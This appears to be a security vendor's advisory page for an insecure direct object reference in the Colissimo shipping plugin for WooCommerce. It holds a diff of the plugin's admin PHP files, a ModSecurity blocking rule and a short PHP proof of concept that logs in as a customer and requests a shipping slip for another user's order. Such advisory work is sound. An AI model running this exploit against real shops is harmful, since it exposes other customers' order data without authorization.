-require_once LPC_ADMIN . 'lpc_compatibility.php';
-require_once LPC_ADMIN . 'orders' . DS . 'lpc_woo_orders_table_action.php';
-require_once LPC_ADMIN . 'orders' . DS . 'lpc_woo_orders_table_bulk_actions.php';
-require_once LPC_ADMIN . 'products' . DS . 'lpc_admin_product.php';
-require_once LPC_ADMIN . 'products' . DS . 'lpc_admin_product_category.php';
-require_once LPC_ADMIN . 'settings' . DS . 'lpc_settings_download.php';
-require_once LPC_ADMIN . 'shipping' . DS . 'lpc_shipping_rates.php';
-if (file_exists(LPC_FOLDER . 'dev-tools' . DS . 'capabilities' . DS . 'lpc_capabilities_file.php')) {
-    require_once LPC_FOLDER . 'dev-tools' . DS . 'capabilities' . DS . 'lpc_capabilities_file.php';
-}
-
-class LpcAdminInit {
-    const NONCE_DISMISS_FEEDBACK = '_lpc_dismiss';
-    const NONCE_NAME_DISMISS_FEEDBACK = 'colissimo_dismiss';
-
-    public function __construct() {
-        // Add left menu
-        add_action('admin_menu', [$this, 'add_menus'], 99);
-        add_action('admin_menu', [$this, 'add_dev_tool'], 99);
-        LpcRegister::register('settingsDownload', new LpcSettingsDownload());
-        LpcRegister::register('settingsTab', new LpcSettingsTab());
-        LpcRegister::register('pickupRelayPointOnOrder', new LpcPickupRelayPointOnOrder());
-
-        if ('widget' === LpcHelper::get_option('lpc_pickup_map_type', 'widget')) {
-            LpcRegister::register('adminPickupWidget', new LpcAdminPickupWidget());
-        } else {
-            LpcRegister::register('adminPickupWebService', new LpcAdminPickupWebService());
-        }
-
-        LpcRegister::register('labelPackagerDownloadAction', new LpcLabelPackagerDownloadAction());
-        LpcRegister::register('labelInwardDownloadAction', new LpcLabelInwardDownloadAction());
-        LpcRegister::register('labelOutwardDownloadAction', new LpcLabelOutwardDownloadAction());
-        LpcRegister::register('labelPrintAction', new LpcLabelPrintAction());
-        LpcRegister::register('thermalLabelPrintAction', new LpcThermalLabelPrintAction());
-        LpcRegister::register('bordereauDownloadAction', new LpcBordereauDownloadAction());
-        LpcRegister::register('bordereauDeleteAction', new LpcBordereauDeleteAction());
-        LpcRegister::register('bordereauPrintAction', new LpcBordereauPrintAction());
-        LpcRegister::register('bordereauQueries', new LpcBordereauQueries());
-        LpcRegister::register('labelOutwardDeleteAction', new LpcLabelOutwardDeleteAction());
-        LpcRegister::register('labelInwardDeleteAction', new LpcLabelInwardDeleteAction());
-        LpcRegister::register('lpcAdminOrderAffect', new LpcAdminOrderAffect());
-        LpcRegister::register('LpcLabelOutwardGenerateAction', new LpcLabelOutwardGenerateAction());
-        LpcRegister::register('LpcLabelInwardGenerateAction', new LpcLabelInwardGenerateAction());
-        LpcRegister::register('labelQueries', new LpcLabelQueries());
-        LpcRegister::register('lpcAdminOrderBanner', new LpcAdminOrderBanner());
-        LpcRegister::register('labelOutwardImport', new LpcLabelOutwardImportAction());
-        LpcRegister::register('LpcCouponsRestrictions', new LpcCouponsRestrictions());
-        LpcRegister::register('wooOrdersTableAction', new LpcWooOrdersTableAction());
-        LpcRegister::register('wooOrdersTableBulkActions', new LpcWooOrdersTableBulkActions());
-        LpcRegister::register('shippingRates', new LpcShippingRates());
-        LpcRegister::register('LpcAdminProduct', new LpcAdminProduct());
-        LpcRegister::register('LpcAdminProductCategory', new LpcAdminProductCategory());
-
-        if (file_exists(LPC_FOLDER . 'dev-tools' . DS . 'capabilities' . DS . 'lpc_capabilities_file.php')) {
-            LpcRegister::register('capabilitiesDev', new LpcCapabilitiesFile());
-        }
-
-        LpcHelper::enqueueScript('lpc_admin_notices', plugins_url('/js/lpc_admin_notices.js', __FILE__), null, ['jquery-core']);
-
-        add_action('admin_notices', [$this, 'lpc_notifications']);
-        add_filter('set-screen-option', [$this, 'lpc_set_option'], 10, 3);
-        add_action('woocommerce_settings_page_init', [$this, 'lpc_load_settings_script']);
-        add_action('add_meta_boxes', [$this, 'lpc_add_meta_boxes']);
-        add_filter('woocommerce_screen_ids', [$this, 'lpc_set_wc_screen_ids']);
-        add_action('wp_ajax_lpc_feedback_dismissed', [$this, 'dismissFeedback']);
-        add_action('woocommerce_page_wc-orders', [$this, 'showFeedbackModal']);
-    }
-
-    public function lpc_set_wc_screen_ids($screen) {
-        $screen[] = 'woocommerce_page_wc_colissimo_view';
-
-        return $screen;
-    }
-
-    /**
-     * Add Colissimo sub-menu to WC in the WP left menu
-     */
-    public function add_menus() {
-        $hook = add_submenu_page(
-            'woocommerce',
-            'Colissimo',
-            'Colissimo',
-            'lpc_colissimo_listing',
-            'wc_colissimo_view',
-            [$this, 'router']
-        );
-
-        add_action("load-$hook", [$this, 'lpc_load_orders_table']);
-    }
-
-    public function add_dev_tool() {
-        if (!file_exists(LPC_FOLDER . 'dev-tools' . DS . 'capabilities' . DS . 'lpc_capabilities_file.php')) {
-            return;
-        }
-        $capabilitiesDev = new LpcCapabilitiesFile();
-
-        $hook = add_submenu_page(
-            'woocommerce',
-            'Colissimo',
-            'Devtool',
-            'lpc_colissimo_listing',
-            'wc_colissimo_devtool',
-            [$capabilitiesDev, 'display']
-        );
-    }
-
-    public function router() {
-        $args        = [];
-        $args['get'] = $_GET;
-        $args['tab'] = $args['get']['tab'] ?? 'orders';
-
-        $this->askForFeedback();
-
-        if ('orders' === $args['tab']) {
-            $args['table'] = new LpcOrdersTable();
-            echo LpcHelper::renderPartial('orders' . DS . 'lpc_orders_list_table.php', $args);
-        } elseif ('slip-creation' === $args['tab']) {
-            $args['table_today'] = new LpcBordereauCreationTable(true);
-            $args['table_all']   = new LpcBordereauCreationTable(false);
-            echo LpcHelper::renderPartial('orders' . DS . 'lpc_orders_slip_creation.php', $args);
-        } elseif ('slip-history' === $args['tab']) {
-            $args['table'] = new LpcBordereauHistoryTable();
-            echo LpcHelper::renderPartial('orders' . DS . 'lpc_orders_slip_history.php', $args);
-        }
-    }
-
-    public function dismissFeedback() {
-        if (1 === (int) check_ajax_referer(self::NONCE_NAME_DISMISS_FEEDBACK, self::NONCE_DISMISS_FEEDBACK, false)) {
-            update_option('lpc_feedback_dismissed', true, false);
-        }
-    }
-
-    public function showFeedbackModal() {
-        $this->askForFeedback();
-    }
-
-    private function askForFeedback() {
-        $deadline = new DateTime('2025-12-31');
-        $now      = new DateTime();
-
-        if ($now >= $deadline) {
-            return;
-        }
-
-        $feedbackDismissed = LpcHelper::get_option('lpc_feedback_dismissed', false);
-        $lastAskedFeedback = LpcHelper::get_option('lpc_asked_feedback', 0);
-
-        if ($feedbackDismissed || (time() - $lastAskedFeedback) < 86400) {
-            return;
-        }
-
-        update_option('lpc_asked_feedback', time(), false);
-
-        // Get the number of labels generated
-        $outwardLabelDb = LpcRegister::get('outwardLabelDb');
-        $numberOfLabels = $outwardLabelDb->getNumberOfLabels();
-
-        if (10 <= $numberOfLabels) {
-            // Open a popup asking if the user wants to give feedback, with a dismiss button
-            $modal = new LpcModal('', __('Plugin feedback', 'wc_colissimo'));
-            $modal->loadScripts();
-            $modal->open_modal('feedback');
-        }
-    }
-
-    public function lpc_notifications() {
-        // Handle double admin_notices call with HPOS when saving an order
-        if ('edit_order' === LpcHelper::getVar('action')) {
-            return;
-        }
-
-        $adminNotices  = LpcRegister::get('lpcAdminNotices');
-        $notifications = [
-            'inward_label_sent',
-            'outward_label_generate',
-            'inward_label_generate',
-            'cdi_warning',
-            'outward_label_delete',
-            'inward_label_delete',
-            'label_migration',
-            'jquery_warning',
-            'jquery_migrate_wp56',
-            'lpc_notice',
-            'bordereau_delete',
-            'insurance_unavailable_for_country',
-            'shipment_change',
-            'country_capaibilities_import',
-            'shipping_statuses_updated',
-            'credentials_validity',
-            'cgv_invalid',
-            'deprecated_methods',
-            'credentials_apikey',
-        ];
-        foreach ($notifications as $oneNotification) {
-            $notice_content = $adminNotices->get_notice($oneNotification);
-            if ($notice_content) {
-                echo $notice_content;
-            }
-        }
-    }
-
-    public function lpc_load_orders_table() {
-        // Add JS
-        LpcHelper::enqueueScript(
-            'lpc_orders_table',
-            plugins_url('/js/orders/lpc_orders_table.js', LPC_ADMIN . 'init.php'),
-            null,
-            ['jquery-core']
-        );
-        LpcHelper::enqueueScript(
-            'lpc_order_slip_creation',
-            plugins_url('/js/orders/lpc_order_slip_creation.js', LPC_ADMIN . 'init.php'),
-            null,
-            ['jquery-core']
-        );
-
-        LpcLabelQueries::enqueueLabelsActionsScript();
-
-        // Add CSS
-        LpcHelper::enqueueStyle(
-            'lpc_orders_table',
-            plugins_url('/css/orders/lpc_orders_table.css', LPC_ADMIN . 'init.php'),
-            null
-        );
-        LpcHelper::enqueueStyle(
-            'lpc_orders_slip_creation',
-            plugins_url('/css/orders/lpc_orders_slip_creation.css', LPC_ADMIN . 'init.php'),
-            null
-        );
-        LpcHelper::enqueueStyle(
-            'lpc_slip_history',
-            plugins_url('/css/orders/lpc_slip_history.css', LPC_ADMIN . 'init.php'),
-            null
-        );
-
-        // Add screen options
-        $option = 'per_page';
-
-        $args = [
-            'label'   => __('Orders per page', 'wc_colissimo'),
-            'default' => 25,
-            'option'  => 'lpc_orders_per_page',
-        ];
-
-        add_screen_option($option, $args);
-
-        $adminNotices = LpcRegister::get('lpcAdminNotices');
-        $accountApi   = LpcRegister::get('accountApi');
-        if (!$accountApi->isCgvAccepted()) {
-            $urls       = $accountApi->getAutologinURLs();
-            $accountUrl = $urls['urlConnectedCbox'] ?? 'https://www.colissimo.entreprise.laposte.fr';
-            $adminNotices->add_notice(
-                'cgv_invalid',
-                'notice-error',
-                '<span style="color:red;font-weight: bold;">' .
-                __(
-                    'We have detected that you have not yet signed the latest version of our GTC. Your consent is necessary in order to continue using Colissimo services. We therefore invite you to sign them on your Colissimo entreprise space, by clicking on the link below:',
-                    'wc_colissimo'
-                ) . '<br/><a href="' . $accountUrl . '" target="_blank">' . __('Sign the GTC', 'wc_colissimo') . '</a>'
-                . '</span>'
-            );
-        }
-
-        $purgeLabels = LpcHelper::get_option('lpc_day_purge', 30);
-        if (!empty($purgeLabels) && !wp_next_scheduled('purge_colissimo_labels')) {
-            wp_schedule_event(time(), 'daily', 'purge_colissimo_labels');
-        }
-    }
-
-    public function lpc_set_option($status, $option, $value) {
-        if ('lpc_orders_per_page' == $option) {
-            return $value;
-        }
-
-        return $status;
-    }
-
-    public function lpc_load_settings_script() {
-        if ('shipping' !== LpcHelper::getVar('tab')) {
-            return;
-        }
-
-        $instanceId = LpcHelper::getVar('instance_id');
-        if (empty($instanceId)) {
-            return;
-        }
-
-        $shippingRates = LpcRegister::get('shippingRates');
-
-        LpcHelper::enqueueStyle('lpc_styles', plugins_url('/css/shipping/lpc_shipping_rates.css', __FILE__));
-        LpcHelper::enqueueScript(
-            'lpc_shipping_rates',
-            plugins_url('/' . LPC_COMPONENT . '/admin/js/shipping/lpc_shipping_rates.js'),
-            null,
-            ['jquery-core'],
-            'lpcShippingRates',
-            [
-                'pleaseSelectFile'           => __('Please select a file', 'wc_colissimo'),
-                'errorWhileImporting'        => __('Error while saving imported rates', 'wc_colissimo'),
-                'defaultPricesConfirmation'  => __('Are you sure you want to replace the current prices with the default ones?', 'wc_colissimo'),
-                'deleteRateConfirmation'     => __('Delete the selected rates?', 'wc_colissimo'),
-                'deleteDiscountConfirmation' => __('Delete the selected discounts?', 'wc_colissimo'),
-                'searchCategories'           => __('Search for categories', 'wc_colissimo'),
-                'searchCategoriesAjaxUrl'    => $shippingRates->getUrlSearchCategories(),
-            ]
-        );
-    }
-
-    public function lpc_add_meta_boxes($post) {
-        if (!current_user_can('lpc_colissimo_bandeau')) {
-            return;
-        }
-
-        // Colissimo Banner
-        $adminOrderBanner = LpcRegister::get('lpcAdminOrderBanner');
-
-        $screenId = class_exists('Automattic\WooCommerce\Internal\DataStores\Orders\CustomOrdersTableController') && wc_get_container()
-            ->get(AutomatticWooCommerceInternalDataStoresOrdersCustomOrdersTableController::class)
-            ->custom_orders_table_usage_is_enabled()
-            ? wc_get_page_screen_id('shop-order')
-            : 'shop_order';
-        add_meta_box(
-            'lpc_banner-box',
-            '<img src="' . plugins_url('/images/colissimo_cropped.png', LPC_INCLUDES . 'init.php') . '" height="25">',
-            [$adminOrderBanner, 'bannerContent'],
-            $screenId,
-            'normal',
-            'high',
-            ['post' => $post]
-        );
-    }
-}
--- a/colissimo-shipping-methods-for-woocommerce/admin/labels/deletion/lpc_label_inward_delete_action.php
+++ b/colissimo-shipping-methods-for-woocommerce/admin/labels/deletion/lpc_label_inward_delete_action.php
@@ -1,113 +0,0 @@
-<?php
-
-defined('ABSPATH') || die('Restricted Access');
-
-class LpcLabelInwardDeleteAction extends LpcComponent {
-    const AJAX_TASK_NAME = 'label/inward/delete';
-    const TRACKING_NUMBER_VAR_NAME = 'lpc_label_tracking_number';
-    const REDIRECTION_VAR_NAME = 'lpc_redirection';
-
-    /** @var LpcAjax */
-    protected $ajaxDispatcher;
-    /** @var LpcInwardLabelDb */
-    protected $inwardLabelDb;
-    /** @var LpcAdminNotices */
-    protected $adminNotices;
-
-    public function __construct(
-        ?LpcAjax $ajaxDispatcher = null,
-        ?LpcInwardLabelDb $inwardLabelDb = null,
-        ?LpcAdminNotices $adminNotices = null
-    ) {
-        $this->ajaxDispatcher = LpcRegister::get('ajaxDispatcher', $ajaxDispatcher);
-        $this->inwardLabelDb  = LpcRegister::get('inwardLabelDb', $inwardLabelDb);
-        $this->adminNotices   = LpcRegister::get('lpcAdminNotices', $adminNotices);
-    }
-
-    public function getDependencies(): array {
-        return ['ajaxDispatcher', 'inwardLabelDb', 'lpcAdminNotices'];
-    }
-
-    public function init() {
-        $this->listenToAjaxAction();
-    }
-
-    protected function listenToAjaxAction() {
-        $this->ajaxDispatcher->register(self::AJAX_TASK_NAME, [$this, 'control']);
-    }
-
-    public function getUrlForTrackingNumber($trackingNumber, $redirection) {
-        return $this->ajaxDispatcher->getUrlForTask(self::AJAX_TASK_NAME)
-               . '&' . self::TRACKING_NUMBER_VAR_NAME . '=' . $trackingNumber
-               . '&' . self::REDIRECTION_VAR_NAME . '=' . $redirection;
-    }
-
-    public function control() {
-        if (!current_user_can('lpc_delete_labels')) {
-            header('HTTP/1.0 401 Unauthorized');
-
-            return $this->ajaxDispatcher->makeAndLogError(
-                [
-                    'message' => 'unauthorized access to outward label deletion',
-                ]
-            );
-        }
-
-        $trackingNumber = LpcHelper::getVar(self::TRACKING_NUMBER_VAR_NAME);
-        $redirection    = LpcHelper::getVar(self::REDIRECTION_VAR_NAME);
-        $orderId        = $this->inwardLabelDb->getOrderIdByTrackingNumber($trackingNumber);
-
-        switch ($redirection) {
-            case LpcLabelQueries::REDIRECTION_WOO_ORDER_EDIT_PAGE:
-                $order          = wc_get_order($orderId);
-                $urlRedirection = $order->get_edit_order_url();
-                break;
-            case LpcLabelQueries::REDIRECTION_COLISSIMO_ORDERS_LISTING:
-            default:
-                $urlRedirection = admin_url('admin.php?page=wc_colissimo_view');
-                break;
-        }
-
-        LpcLogger::debug(
-            'Delete inward label',
-            [
-                'tracking_number' => $trackingNumber,
-                'method'          => __METHOD__,
-            ]
-        );
-
-        $result = $this->inwardLabelDb->delete($trackingNumber);
-
-        if (1 != $result) {
-            LpcLogger::error(
-                'Unable to delete label',
-                [
-                    'tracking_number' => $trackingNumber,
-                    'result'          => $result,
-                    'method'          => __METHOD__,
-                ]
-            );
-
-            $this->adminNotices->add_notice(
-                'inward_label_delete',
-                'notice-error',
-                sprintf(__('Unable to delete label %s', 'wc_colissimo'), $trackingNumber)
-            );
-        } else {
-            $this->adminNotices->add_notice(
-                'inward_label_delete',
-                'notice-success',
-                sprintf(__('Label %s deleted', 'wc_colissimo'), $trackingNumber)
-            );
-
-            // Remove the related order meta
-            $order = wc_get_order($orderId);
-            if (!empty($order)) {
-                $order->update_meta_data(LpcLabelGenerationInward::INWARD_PARCEL_NUMBER_META_KEY, '');
-                $order->save();
-            }
-        }
-
-        wp_redirect($urlRedirection);
-    }
-}
--- a/colissimo-shipping-methods-for-woocommerce/admin/labels/deletion/lpc_label_outward_delete_action.php
+++ b/colissimo-shipping-methods-for-woocommerce/admin/labels/deletion/lpc_label_outward_delete_action.php
@@ -1,176 +0,0 @@
-<?php
-
-defined('ABSPATH') || die('Restricted Access');
-
-class LpcLabelOutwardDeleteAction extends LpcComponent {
-    const AJAX_TASK_NAME = 'label/outward/delete';
-    const TRACKING_NUMBER_VAR_NAME = 'lpc_label_tracking_number';
-    const REDIRECTION_VAR_NAME = 'lpc_redirection';
-
-    /** @var LpcAjax */
-    protected $ajaxDispatcher;
-    /** @var LpcOutwardLabelDb */
-    protected $outwardLabelDb;
-    /** @var LpcAdminNotices */
-    protected $adminNotices;
-    /** @var LpcInwardLabelDb */
-    protected $inwardLabelDb;
-
-    public function __construct(
-        ?LpcAjax $ajaxDispatcher = null,
-        ?LpcOutwardLabelDb $outwardLabelDb = null,
-        ?LpcInwardLabelDb $inwardLabelDb = null,
-        ?LpcAdminNotices $adminNotices = null
-    ) {
-        $this->ajaxDispatcher = LpcRegister::get('ajaxDispatcher', $ajaxDispatcher);
-        $this->outwardLabelDb = LpcRegister::get('outwardLabelDb', $outwardLabelDb);
-        $this->inwardLabelDb  = LpcRegister::get('inwardLabelDb', $inwardLabelDb);
-        $this->adminNotices   = LpcRegister::get('lpcAdminNotices', $adminNotices);
-    }
-
-    public function getDependencies(): array {
-        return ['ajaxDispatcher', 'outwardLabelDb', 'lpcAdminNotices'];
-    }
-
-    public function init() {
-        $this->listenToAjaxAction();
-    }
-
-    protected function listenToAjaxAction() {
-        $this->ajaxDispatcher->register(self::AJAX_TASK_NAME, [$this, 'control']);
-    }
-
-    public function getUrlForTrackingNumber($trackingNumber, $redirection) {
-        return $this->ajaxDispatcher->getUrlForTask(self::AJAX_TASK_NAME)
-               . '&' . self::TRACKING_NUMBER_VAR_NAME . '=' . $trackingNumber
-               . '&' . self::REDIRECTION_VAR_NAME . '=' . $redirection;
-    }
-
-    public function control() {
-        if (!current_user_can('lpc_delete_labels')) {
-            header('HTTP/1.0 401 Unauthorized');
-
-            return $this->ajaxDispatcher->makeAndLogError(
-                [
-                    'message' => 'unauthorized access to outward label deletion',
-                ]
-            );
-        }
-
-        $trackingNumber      = LpcHelper::getVar(self::TRACKING_NUMBER_VAR_NAME);
-        $redirection         = LpcHelper::getVar(self::REDIRECTION_VAR_NAME);
-        $inwardLabelsRelated = $this->inwardLabelDb->getLabelsInfosForOutward($trackingNumber);
-        $orderId             = $this->outwardLabelDb->getOrderIdByTrackingNumber($trackingNumber);
-
-        switch ($redirection) {
-            case LpcLabelQueries::REDIRECTION_WOO_ORDER_EDIT_PAGE:
-                $order = wc_get_order($orderId);
-                if (!empty($order)) {
-                    $urlRedirection = $order->get_edit_order_url();
-                    break;
-                }
-            // We didn't find the order, redirect to the default page
-            case LpcLabelQueries::REDIRECTION_COLISSIMO_ORDERS_LISTING:
-            default:
-                $urlRedirection = admin_url('admin.php?page=wc_colissimo_view');
-                break;
-        }
-
-        LpcLogger::debug(
-            'Delete outward label',
-            [
-                'tracking_number'       => $trackingNumber,
-                'related_inward_labels' => $inwardLabelsRelated,
-                'method'                => __METHOD__,
-            ]
-        );
-
-        $multiParcelsLabels = $this->outwardLabelDb->getMultiParcelsLabels($orderId);
-        if (!empty($multiParcelsLabels[$trackingNumber]) && 'FOLLOWER' === $multiParcelsLabels[$trackingNumber]) {
-            $masterLabel = array_search('MASTER', $multiParcelsLabels);
-
-            if (!empty($masterLabel)) {
-                $this->adminNotices->add_notice(
-                    'outward_label_delete',
-                    'notice-error',
-                    sprintf(__('You cannot delete this label because the label %s is bound to it.', 'wc_colissimo'), $masterLabel)
-                );
-
-                return wp_redirect($urlRedirection);
-            }
-        }
-
-        $result = $this->outwardLabelDb->delete($trackingNumber);
-
-        if (1 != $result) {
-            LpcLogger::error(
-                'Unable to delete label',
-                [
-                    'tracking_number' => $trackingNumber,
-                    'result'          => $result,
-                    'method'          => __METHOD__,
-                ]
-            );
-
-            $this->adminNotices->add_notice(
-                'outward_label_delete',
-                'notice-error',
-                sprintf(
-                    __('Unable to delete label %s', 'wc_colissimo'),
-                    $trackingNumber
-                )
-            );
-        } else {
-            $order = wc_get_order($orderId);
-
-            if (!empty($order)) {
-                // If it's the last following parcel, remove also the multi-parcels number
-                if (1 === count($multiParcelsLabels) && !empty($multiParcelsLabels[$trackingNumber])) {
-                    $order->update_meta_data('lpc_multi_parcels_amount', '');
-                    $order->save();
-                }
-
-                // Remove the related order meta
-                $order->update_meta_data(LpcLabelGenerationOutward::OUTWARD_PARCEL_NUMBER_META_KEY, '');
-                $order->save();
-            }
-
-            $noticeText = sprintf(__('Label %s deleted', 'wc_colissimo'), $trackingNumber);
-            if (count($inwardLabelsRelated) > 0) {
-                $inwardDeletionResult = $this->inwardLabelDb->deleteForOutward($trackingNumber);
-
-                if (count($inwardLabelsRelated) != $inwardDeletionResult) {
-                    LpcLogger::error(
-                        'Unable to delete some inwards label related to ouwtard',
-                        [
-                            'tracking_number'       => $trackingNumber,
-                            'related_inward_labels' => $inwardLabelsRelated,
-                            'result'                => $inwardDeletionResult,
-                            'method'                => __METHOD__,
-                        ]
-                    );
-                } else {
-                    foreach ($inwardLabelsRelated as $oneInwardLabel) {
-                        $noticeText .= '<br>' . sprintf(
-                                __('Inward label %s deleted', 'wc_colissimo'),
-                                $oneInwardLabel->tracking_number
-                            );
-                    }
-                    // Remove the related order meta
-                    if (!empty($order)) {
-                        $order->update_meta_data(LpcLabelGenerationInward::INWARD_PARCEL_NUMBER_META_KEY, '');
-                        $order->save();
-                    }
-                }
-            }
-
-            $this->adminNotices->add_notice(
-                'outward_label_delete',
-                'notice-success',
-                $noticeText
-            );
-        }
-
-        wp_redirect($urlRedirection);
-    }
-}
--- a/colissimo-shipping-methods-for-woocommerce/admin/labels/download/lpc_label_inward_download_action.php
+++ b/colissimo-shipping-methods-for-woocommerce/admin/labels/download/lpc_label_inward_download_action.php
@@ -1,91 +0,0 @@
-<?php
-
-defined('ABSPATH') || die('Restricted Access');
-require_once LPC_FOLDER . DS . 'lib' . DS . 'MergePdf.class.php';
-
-
-class LpcLabelInwardDownloadAction extends LpcComponent {
-    const AJAX_TASK_NAME = 'label/inward/download';
-    const TRACKING_NUMBER_VAR_NAME = 'lpc_label_tracking_number';
-
-    /** @var LpcAjax */
-    protected $ajaxDispatcher;
-    /** @var LpcInwardLabelDb */
-    protected $inwardLabelDb;
-
-    public function __construct(
-        ?LpcAjax $ajaxDispatcher = null,
-        ?LpcInwardLabelDb $inwardLabelDb = null
-    ) {
-        $this->ajaxDispatcher = LpcRegister::get('ajaxDispatcher', $ajaxDispatcher);
-        $this->inwardLabelDb  = LpcRegister::get('inwardLabelDb', $inwardLabelDb);
-    }
-
-    public function getDependencies(): array {
-        return ['ajaxDispatcher', 'inwardLabelDb'];
-    }
-
-    public function init() {
-        $this->listenToAjaxAction();
-    }
-
-    protected function listenToAjaxAction() {
-        $this->ajaxDispatcher->register(self::AJAX_TASK_NAME, [$this, 'control']);
-    }
-
-    public function control() {
-        if (!current_user_can('lpc_download_labels')) {
-            header('HTTP/1.0 401 Unauthorized');
-
-            return $this->ajaxDispatcher->makeAndLogError(
-                [
-                    'message' => 'unauthorized access to inward label download',
-                ]
-            );
-        }
-
-        $trackingNumber = LpcHelper::getVar(self::TRACKING_NUMBER_VAR_NAME);
-        try {
-            $label        = $this->inwardLabelDb->getLabelFor($trackingNumber);
-            $labelContent = $label['label'];
-            if (empty($labelContent)) {
-                throw new Exception('No label content');
-            }
-
-            $fileToDownloadName = get_temp_dir() . DS . 'Colissimo.inward(' . $trackingNumber . ').pdf';
-            $labelFileName      = 'inward_label.pdf';
-            $filesToMerge       = [];
-            $labelContentFile   = fopen(sys_get_temp_dir() . DS . $labelFileName, 'w');
-            fwrite($labelContentFile, $labelContent);
-            fclose($labelContentFile);
-
-            $filesToMerge[] = sys_get_temp_dir() . DS . $labelFileName;
-
-            $cn23Data    = $this->inwardLabel

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66692
# This rule targets the AJAX request to create a bordereau with a bulk-slip_creation_ids parameter.
# It blocks attempts from non-admin users, as the vulnerability requires customer-level access.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20266692,phase:2,deny,status:403,chain,msg:'CVE-2026-66692 via Colissimo AJAX action',severity:'CRITICAL',tag:'CVE-2026-66692'"
  SecRule ARGS_POST:action "@streq lpc_bordereau_creation_table" "chain"
    SecRule ARGS_POST:bulk-slip_creation_ids "@rx ^[0-9]+$" "chain"
      SecRule REQUEST_HEADERS:Cookie "!@contains wordpress_logged_in_" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66692 - Colissimo shipping methods for WooCommerce <= 2.10.0 - Authenticated (Customer+) Insecure Direct Object Reference

$target_url = 'http://your-wordpress-site.com'; // Change this to the target site URL
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$username = 'customer_user'; // Username of the authenticated customer
$password = 'customer_password'; // Password of the authenticated customer

// Step 1: Login to WordPress and obtain authentication cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'testcookie' => '1',
        'redirect_to' => $target_url . '/wp-admin/',
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt', // Store cookies
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HEADER => true,
]);
curl_exec($ch);
curl_close($ch);

// Target order ID belonging to another user. CHANGE THIS.
$target_order_id = 12345;

// Step 2: Trigger the vulnerable bulk action to create a bordereau for the target order
$post_data = [
    'action' => 'lpc_bordereau_creation_table', // Replace with the correct AJAX action
    'bulk-slip_creation_ids[]' => $target_order_id,
    'paged' => '1',
    // Add any other required parameters here
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => 'cookies.txt', // Use the stored cookies
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Check if exploitation was successful (e.g., check for a redirect to the bordereau history page)
if ($http_code === 302) {
    echo "[+] Exploitation successful. A bordereau was generated for order #$target_order_id.n";
} else {
    echo "[-] Exploitation may have failed. HTTP status code: $http_coden";
    echo "[-] Response: $responsen";
}

// Clean up cookies file
unlink('cookies.txt');

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.